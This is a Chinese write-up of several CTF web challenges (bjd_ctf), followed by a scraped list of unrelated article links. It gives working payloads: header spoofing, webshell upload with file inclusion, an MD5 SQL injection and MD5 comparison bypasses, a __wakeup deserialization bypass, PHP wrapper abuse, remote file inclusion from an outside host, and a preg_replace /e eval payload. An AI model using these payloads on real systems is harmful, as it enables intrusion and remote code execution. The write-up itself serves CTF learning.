1.抓包修改

​ 提示修改id,postman修改headers里面的id

分析得到id是admin加admin的base64编码,payload为id: adminYWRtaW4=

请求后又提示请使用主机访问,修改xff, X-Forwarded-For: 127.0.0.1

再次请求又提示要从谷歌访问,修改Referer,再次访问得到flag

2.文件上传漏洞与文件包含

​ 写好木马,修改mime,绕过类型判断。但是发现服务器将上传的文件进行了重命名,文件类型.php也被改为了.jpg。观察url有?action=upload.php,想到文件上传漏洞,于是包含我们上传的图片路径,成功将jpg格式文件当作php执行。

3.抓包修改

页面

postman访问发现headers里面藏了一些东西password

md5解密password得到密码是112233,输入登录,bp查看源码,得到flag。

4. sql MD5注入,MD5绕过

postman访问网站,在headers里面得到了一个

hint: select * ``from 'admin' where password``=md5($pass,``true``)

上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是

1. select * ``from 'admin' where password``=``'' or '6xxxxx'

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

提交后又跳转到http://222.186.56.247:8102/levels91.php,f12查看源码得到,hint

<!--
$a = $GET['a'];
$b = $_GET['b']; if($a != $b && md5($a) == md5($b)){
//wow,you can really dance
-->

php是若类型,根据==漏洞,网上找两个md5开头为0e即可,此外也可以利用数组 ?a[]=1&b[]=2 绕过,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制 。

成功绕过之后,又跳到了一个新的网页,给了php源码为

 <?php
error_reporting(0);
include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这次难度增加,变成了=,利用数组

另一种解法见https://www.secpulse.com/archives/70070.html

5. .git泄漏、变量覆盖

御剑扫一下目录,得到 /.git/,githack 得到源码

	<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x &amp;&amp; $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

变量覆盖分析

  1. POST:$flag=1
foreach($_POST as $x => $y){ $$x = $y; }

解释:$x=flag,$y=1,$$x=$($falg) = 1

  1. GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}

$x=yds,$y=flag,所以$$x=$yds,$$y=$flag,所以最后$yds=$flag

当执行到

if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
exit($yds);
}

exit($yds)=exit($flag)。即可读取到flag内容。

详情解释https://www.jianshu.com/p/a4d782e91852

6.反序列化漏洞

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
public $file; public function __wakeup(){
$this -> file = 'woc';
} public function __destruct(){
print_r(file_get_contents($this -> file));
}
} $exp = $_GET['exp'];
$new = unserialize($exp);

读源码可知,要绕过__wakeup()函数

<?php
class Flag{
public $file="/flag";
}
$test=new Flag();
echo serialize($test);

序列化后得到结果

O:4:"Flag":1:{s:4:"file";s:5:"/flag";}

要绕过__wakeup(),还需修改

O:4:"Flag":2:{s:4:"file";s:5:"/flag";}

更多知识:https://blog.csdn.net/silence1_/article/details/89716976

7.php为协议与 preg_replace 漏洞

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"]; if(strstr(file_get_contents('php://input'),'a')){
die("嚯,有点意思");
} if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
} include($file); //next.php }
else{
highlight_file(__FILE__);
}
?>

代码审计得知首先需要读取$text文件内容为I have a dream 但是过滤掉了php://input伪协议,只能用php://data

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream

也可以用远程文件包含

http://222.186.56.247:8108/?text=http://1.1.1.1/1.txt

include($file)提示next.php,继续利用伪协议 php://filter 读取next.php源码的base64()编码

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
<?php

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
} foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
} function getFlag(){
@eval($_GET['cmd']);
}

审计源码发现preg_replace的/e漏洞,于是构想,利用preg_replace的/e漏洞执行getFlag(),再利用GET给cmd参数传递一句话木马,再用蚁剑连接即可。

或者更简单的方法

http://222.186.56.247:8108/next.php?\S*=${eval($_POST[test])}

相关内容:https://blog.csdn.net/weixin_43272781/article/details/94645507 //伪协议

相关内容:https://xz.aliyun.com/t/2557 //preg_replace的/e漏洞

总结没做出来的题,还需要学习的知识

1.模板注入漏洞

2.__get()魔术方法在当访问不存属性在或为私有属性的时候会触发

  1. vim泄漏、shtml命令执行

https://www.gem-love.com/websecurity/824.html#i

bjd_ctf的更多相关文章

随机推荐

  1. JS编程练习:将目标节点内部的子节点逆序

    将目标节点内部的子节点逆序 1 <body> 2 <div> 3 <p></p> 4 <span></span> 5 <e ...

  2. os-hackNOS-2(wp5.3本地文件包含 rbash绕过)

    一.信息收集 直接netdiscover,找到IP是 192.168.56.101 然后端口扫描一波 只打开了22和80端口,访问一下80端口,是apache首页,那就继续查目录赛.,发现了一个tsw ...

  3. window.navigator All In One

    window.navigator All In One navigator "use strict"; /** * * @author xgqfrms * @license MIT ...

  4. Android 如何设置 WebView 的屏幕占比

    Android 如何设置 WebView 的屏幕占比 由于 Android 适用于具有各种屏幕尺寸和像素密度的设备,因此您在设计网页时应将这些因素纳入考虑范围,以便您的网页始终以合适的尺寸显示. We ...

  5. WebIDE All In One

    WebIDE All In One web IDE Visual Studio Code vscode Code editing Redefined. Free. Built on open sour ...

  6. Node.js Learning Paths

    Node.js Learning Paths Node.js in Action Node.js Expert situations / scenario Restful API OAuth 2.0 ...

  7. CSS Architecture & CSS Design Patterns

    CSS Architecture & CSS Design Patterns BEM Block, Element, Modifier https://en.bem.info/methodol ...

  8. Flutter中mixin的使用

    页表页面 这是一个普通的展示数据,上拉加载更多数据的列表. 其中有一个类型为List<T>的数据列表listData,有个page数据用于分页,isLoading用来判断是否正在加载数据, ...

  9. Flutter: AnimatedList 一个滚动容器,可在插入或移除项目时为其设置动画

    Flutter Widget of the Week import 'dart:math'; import 'package:flutter/material.dart'; void main() = ...

  10. NGK DeFi Baccarat怎么玩能赚钱?

    市面上大多数DeFi项目都是基于以太坊来开发的,除了吞吐量低.存储量小以及交易速度慢等问题以外,高额的Gas手续费将不少终端用户拒之门外. 基于此NGK.IO推出了低门槛的DeFi项目-- Bacca ...